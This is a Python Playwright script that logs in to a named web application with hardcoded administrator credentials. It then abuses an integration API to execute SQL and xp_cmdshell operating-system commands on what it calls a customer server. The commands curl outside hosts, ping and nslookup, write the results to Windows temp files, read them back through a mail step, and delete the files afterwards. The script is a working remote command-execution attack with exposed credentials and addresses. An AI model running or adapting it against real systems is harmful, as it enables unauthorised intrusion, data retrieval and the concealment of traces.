#!/usr/bin/env python3
"""Retry: curl to ch12.hostserviceapp.com from customer server.
Also capture xp_cmdshell output by writing to file then reading via Send Mail."""
import asyncio, re
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        # Login with retry
        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1} error: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"t@t.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", ""
            await asyncio.sleep(3)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # Test 1: curl http://184.174.97.53 — write output to file, then read via Send Mail
        print("\n=== Test 1: curl http://184.174.97.53 + write output to file ===")
        s, m = await run_step("curl_ip", "EXEC xp_cmdshell 'curl -sS http://184.174.97.53/ > C:\\\\Windows\\\\Temp\\\\curl_ip.txt 2>&1', no_output")
        print(f"  curl: success={s} msg={m[:80]}")
        
        await asyncio.sleep(2)
        
        # Read the file via Send Mail (type 9)
        print("\n=== Test 2: Read curl output via Send Mail ===")
        s2, m2 = await run_step("read_curl_ip", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\curl_ip.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  read: success={s2} msg={m2[:300]}")

        await asyncio.sleep(2)

        # Test 3: curl https://ch12.hostserviceapp.com — write to file, read back
        print("\n=== Test 3: curl ch12 + read output ===")
        s, m = await run_step("curl_ch12", "EXEC xp_cmdshell 'curl -sS https://ch12.hostserviceapp.com > C:\\\\Windows\\\\Temp\\\\ch12_resp.txt 2>&1', no_output")
        print(f"  curl ch12: success={s} msg={m[:80]}")
        
        await asyncio.sleep(2)
        
        s3, m3 = await run_step("read_ch12", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\ch12_resp.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  read ch12: success={s3} msg={m3[:300]}")

        await asyncio.sleep(2)

        # Test 4: curl -v to ch12 — verbose output to file, read back
        print("\n=== Test 4: curl -v ch12 + read verbose output ===")
        s, m = await run_step("curl_verbose", "EXEC xp_cmdshell 'curl -v https://ch12.hostserviceapp.com > C:\\\\Windows\\\\Temp\\\\ch12_verbose.txt 2>&1', no_output")
        print(f"  curl -v: success={s} msg={m[:80]}")
        
        await asyncio.sleep(2)
        
        s4, m4 = await run_step("read_verbose", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\ch12_verbose.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  read verbose: success={s4} msg={m4[:300]}")

        await asyncio.sleep(2)

        # Test 5: ping ch12 — write to file, read back
        print("\n=== Test 5: ping ch12 + read output ===")
        s, m = await run_step("ping_ch12", "EXEC xp_cmdshell 'ping -n 2 ch12.hostserviceapp.com > C:\\\\Windows\\\\Temp\\\\ping_ch12.txt 2>&1', no_output")
        print(f"  ping: success={s} msg={m[:80]}")
        
        await asyncio.sleep(2)
        
        s5, m5 = await run_step("read_ping", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\ping_ch12.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  read ping: success={s5} msg={m5[:300]}")

        await asyncio.sleep(2)

        # Test 6: nslookup — write to file, read back
        print("\n=== Test 6: nslookup + read output ===")
        s, m = await run_step("nslookup", "EXEC xp_cmdshell 'nslookup ch12.hostserviceapp.com > C:\\\\Windows\\\\Temp\\\\nslookup.txt 2>&1', no_output")
        print(f"  nslookup: success={s} msg={m[:80]}")
        
        await asyncio.sleep(2)
        
        s6, m6 = await run_step("read_nslookup", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\nslookup.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  read nslookup: success={s6} msg={m6[:300]}")

        await asyncio.sleep(2)

        # Test 7: curl http://example.com — write to file, read back
        print("\n=== Test 7: curl example.com + read output ===")
        s, m = await run_step("curl_example", "EXEC xp_cmdshell 'curl -sS http://example.com > C:\\\\Windows\\\\Temp\\\\example.txt 2>&1', no_output")
        print(f"  curl example: success={s} msg={m[:80]}")
        
        await asyncio.sleep(2)
        
        s7, m7 = await run_step("read_example", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\example.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  read example: success={s7} msg={m7[:300]}")

        # Cleanup
        print("\n=== Cleanup ===")
        s, m = await run_step("cleanup", "EXEC xp_cmdshell 'del C:\\\\Windows\\\\Temp\\\\curl_ip.txt C:\\\\Windows\\\\Temp\\\\ch12_resp.txt C:\\\\Windows\\\\Temp\\\\ch12_verbose.txt C:\\\\Windows\\\\Temp\\\\ping_ch12.txt C:\\\\Windows\\\\Temp\\\\nslookup.txt C:\\\\Windows\\\\Temp\\\\example.txt', no_output")
        print(f"  cleanup: success={s}")

        await browser.close()

asyncio.run(main())
